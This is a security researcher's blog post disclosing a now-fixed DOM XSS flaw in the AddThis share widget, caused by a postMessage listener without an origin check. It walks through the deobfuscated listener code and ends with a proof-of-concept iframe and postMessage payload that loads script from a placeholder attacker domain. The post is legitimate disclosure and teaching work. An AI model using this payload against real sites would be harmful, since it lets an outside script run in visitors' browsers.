postMessage XSS on a million sites

labsdetectify

TL;DR: AddThis is a share button used by over a million sites. They were all vulnerable to XSS earlier this year. In my previous post I described the pitfalls of the postMessage API. This post will describe how I identified and exploited them on the AddThis widget.

 

While testing an application using AddThis I noticed that it used postMessage, by checking the global listeners in Chrome Devtools:

 

AddThis postMessage

 

To see if they had fallen into any of the pitfalls, I added a breakpoint to the listener and sent a message to the page using “window.postMessage("hello", "*")":

 

Examining the listener

The code had no origin check other than that the origin had to be an HTTP/HTTPS page. The expected format of the message could be concluded from line 5364:

 

at-share-bookmarklet:DATA.

 

postMessage

 

I continued the debugger, then sent a message with the correct format, making the code end up on line 5370, calling the “r” function.

 

The “r” function called another function called “s”:

 

postMessage

 

The “s” function looked interesting, it seemed like it created a new script element (perhaps DOM XSS?):

 

postMessage

 

Unminifying

To understand what the function did, I deobfuscated it by naming the variables and removing multiline statements:

e.exports = function(messageData, t, n, s, u, isTrue) {

if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called.

var scriptTag = document.createElement("script");

if("https:" === window.location.protocol){

var isSecurePage = true;

}else{

var isSecurePage = false;

}

var protocol = "";

var headElement = document.getElementsByTagName("head")[0];

scriptTag.setAttribute("type", "text/javascript");

scriptTag.setAttribute("async", "async");

//Check if user is using Chrome/Safari

if(window.chrome && window.chrome.self || window.safari && window.safari.extension){

if(isSecurePage){

protocol = "https";

}else{

protocol = "http";

}

//If the message data starts with "//", add protocol before

if(0 === messageData.indexOf("//")){

messageData = protocol + messageData;

}

}

//If the message data starts with "//"

if(0 === messageData.indexOf("//")){

scriptTag.src = messageData;

}else{

scriptTag.src = protocol + "//s7.addthis.com/" + messageData;

}

headElement.insertBefore(scriptTag, headElement.firstChild);

o[messageData] = 1;

return scriptTag;

}

return 1;

}

Reading the unminified version, I came to the conclusion that sending a message formatted like so:

 

at-share-bookmarklet://ATTACKERHOST/xss.js

Would add a new script element to the page with the source of “//ATTACKERDOMAIN/xss.js“. In other words, it was vulnerable to DOM XSS.

 

PoC

An attacker could add scripts to any page using AddThis (DOM XSS). My final exploit looked like this:

<iframe id="frame" src="https://targetpage/using_addthis"></iframe>

<script>

document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');
</script>

 

Fix

I reached out to Matt Abrams (AddThis CTO) who made sure a fix was quickly implemented and pushed to end users. The fix added an origin check to make sure that the message would not be sent from any unknown origin.

 

Conclusion

In short, postMessage can be (and often is) a source for DOM XSS vulnerabilities. If you are using 3rd party scripts, make sure to examine them and their postMessage implementation.

 


Author:
Mathias Karlsson
Security Researcher
@avlidienbrunn

 

Detectify free trial